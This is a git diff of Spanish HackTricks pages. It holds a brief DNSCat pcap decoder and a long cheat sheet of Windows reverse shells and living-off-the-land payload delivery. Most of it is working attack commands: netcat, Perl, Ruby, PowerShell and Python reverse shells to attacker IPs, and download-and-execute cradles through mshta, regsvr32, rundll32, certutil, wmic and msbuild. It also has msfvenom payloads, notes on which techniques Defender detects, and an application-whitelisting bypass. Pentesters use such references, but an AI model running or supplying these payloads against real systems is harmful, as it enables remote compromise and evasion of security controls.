* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Si tienes un pcap con datos siendo **exfiltrados por DNSCat** (sin usar cifrado), puedes encontrar el contenido exfiltrado.
|
||||
Si tienes un pcap con datos siendo **exfiltrados por DNSCat** (sin usar encriptación), puedes encontrar el contenido exfiltrado.
|
||||
|
||||
Solo necesitas saber que los **primeros 9 bytes** no son datos reales sino que están relacionados con la comunicación **C\&C**:
|
||||
Solo necesitas saber que los **primeros 9 bytes** no son datos reales, sino que están relacionados con la **comunicación C\&C**:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
@ -37,20 +37,21 @@ last = qry
|
|||
Para más información: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
Hay un script que funciona con Python3: https://github.com/josemlwdf/DNScat-Decoder
|
||||
|
||||
Existe un script que funciona con Python3: https://github.com/josemlwdf/DNScat-Decoder
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos de amenazas proactivos, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -24,8 +24,8 @@ Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido
|
|||
|
||||
## Lolbas
|
||||
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows lo que [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\
|
||||
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (mal)utilizados para realizar acciones inesperadas como **ejecutar código arbitrario.**
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para linux.\
|
||||
Obviamente, **no hay archivos SUID o privilegios sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**sbd** es un clon de Netcat, diseñado para ser portátil y ofrecer encriptación fuerte. Funciona en sistemas operativos similares a Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección de puerto de origen, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) puede ser subido a una caja de Windows como una alternativa a Netcat.
|
||||
**sbd** es un clon de Netcat, diseñado para ser portátil y ofrecer una fuerte encriptación. Se ejecuta en sistemas operativos tipo Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección de puerto fuente, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) se puede cargar en un equipo con Windows como una alternativa a Netcat.
|
||||
|
||||
## Python
|
||||
```bash
|
||||
|
@ -41,11 +41,15 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación ampliamente utilizado en el hacking debido a su capacidad para ejecutar comandos del sistema y manipular texto de manera eficiente. Los scripts de Perl pueden ser utilizados para crear shells interactivas en sistemas Windows, lo que permite a los hackers ejecutar comandos de forma remota y mantener el acceso persistente al sistema comprometido.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby es un lenguaje de programación dinámico y de código abierto enfocado en la simplicidad y la productividad. Es muy utilizado en el desarrollo web y es conocido por su elegancia y facilidad de uso.
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -62,7 +66,9 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Víctima
|
||||
**Víctima**
|
||||
|
||||
The victim machine is the target system that the attacker aims to compromise. It can refer to a computer, server, or any other device that is being targeted for unauthorized access or exploitation.
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -77,44 +83,44 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
|
|||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Llamada de red realizada por el proceso: **powershell.exe**\
|
||||
Carga útil escrita en disco: **NO** (_¡al menos en ningún lugar que pudiera encontrar usando procmon!_)
|
||||
Proceso que realiza una llamada de red: **powershell.exe**\
|
||||
Carga escrita en el disco: **NO** (_al menos en ningún lugar que pude encontrar usando procmon !_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Llamada de red realizada por el proceso: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
|
||||
**En una línea:**
|
||||
Proceso que realiza la llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**Obtén más información sobre diferentes Powershell Shells al final de este documento**
|
||||
**Obtenga más información sobre diferentes Shells de Powershell al final de este documento**
|
||||
|
||||
## Mshta
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
Llamada de red realizada por el proceso: **mshta.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
Proceso que realiza una llamada de red: **mshta.exe**\
|
||||
Carga escrita en disco: **caché local de IE**
|
||||
```bash
|
||||
mshta http://webserver/payload.hta
|
||||
```
|
||||
Proceso que realiza llamada de red: **mshta.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
Proceso que realiza una llamada de red: **mshta.exe**\
|
||||
Carga escrita en disco: **caché local de IE**
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso realizando llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
#### **Ejemplo de shell inversa hta-psh (usa hta para descargar y ejecutar backdoor de PS)**
|
||||
#### **Ejemplo de shell inverso hta-psh (utiliza hta para descargar y ejecutar puerta trasera de PS)**
|
||||
```markup
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager hta**
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager hta**
|
||||
|
||||
#### Ejemplo de hta
|
||||
#### Ejemplo hta
|
||||
|
||||
[**Desde aquí**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -129,9 +135,9 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
**Extraído de** [**aquí**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -147,8 +153,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**Extraído de** [**aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
|
@ -164,21 +168,23 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
|||
|
||||
## **Rundll32**
|
||||
|
||||
[**Ejemplo de Dll hola mundo**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Ejemplo de Dll de hola mundo**](https://github.com/carterjones/hello-world-dll)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso que realiza la llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
Llamada de red realizada por el proceso: **rundll32.exe**\
|
||||
Carga útil escrita en disco: **Caché local de IE**
|
||||
Proceso realizando llamada de red: **rundll32.exe**\
|
||||
Carga escrita en disco: **caché local de IE**
|
||||
|
||||
**Detectado por Defender**
|
||||
**Detectado por el defensor**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**Desde aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```bash
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -193,8 +199,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**Extraído de** [**aquí**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
|
@ -214,17 +218,19 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
Proceso que realiza llamada de red: **regsvr32.exe**\
|
||||
Carga útil escrita en disco: **Caché local de IE**
|
||||
Proceso que realiza una llamada de red: **regsvr32.exe**\
|
||||
Carga escrita en disco: **caché local de IE**
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso realizando llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
**Detectado por defender**
|
||||
**Detectado por el defensor**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Desde aquí**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -241,8 +247,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
**Extraído de** [**aquí**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
|
@ -252,23 +256,24 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager regsvr**
|
||||
**Puedes descargar y ejecutar fácilmente un zombie de Koadic usando el stager regsvr**
|
||||
|
||||
## Certutil
|
||||
|
||||
Descarga un B64dll, descodifícalo y ejecútalo.
|
||||
Descarga un B64dll, descódificalo y ejecútalo.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
Descarga un B64exe, decodifícalo y ejecútalo.
|
||||
Descarga un B64exe, descódificalo y ejecútalo.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
**Detectado por el defensor**
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -288,8 +293,8 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
|||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **caché local del cliente WebDAV**
|
||||
Proceso que realiza la llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -307,7 +312,7 @@ Atacante
|
|||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
Víctima:
|
||||
Victima:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
|
@ -317,10 +322,10 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
Llamada de red realizada por el proceso: **wmic.exe**\
|
||||
Carga útil escrita en disco: **caché local de IE**
|
||||
Proceso realizando llamada de red: **wmic.exe**\
|
||||
Carga escrita en disco: **caché local de IE**
|
||||
|
||||
Ejemplo de archivo xsl:
|
||||
Archivo xsl de ejemplo [aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -332,21 +337,19 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
Extraído de [aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
|
||||
|
||||
**No detectado**
|
||||
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager wmic**
|
||||
**Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager wmic**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso que realiza la llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
Puedes usar esta técnica para evadir la Lista Blanca de Aplicaciones y las restricciones de Powershell.exe. Se te presentará con una shell de PS.\
|
||||
Solo descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
Puedes utilizar esta técnica para evadir la Lista Blanca de Aplicaciones y las restricciones de Powershell.exe. Ya que se te solicitará un shell de PS.\
|
||||
Simplemente descarga esto y ejecútalo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
@ -354,11 +357,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
|
||||
## **CSC**
|
||||
|
||||
Compila código C# en la máquina víctima.
|
||||
Compilar código C# en la máquina víctima.
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Puedes descargar un shell reverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**No detectado**
|
||||
|
||||
|
@ -366,10 +369,10 @@ Puedes descargar un shell reverso básico en C# desde aquí: [https://gist.githu
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
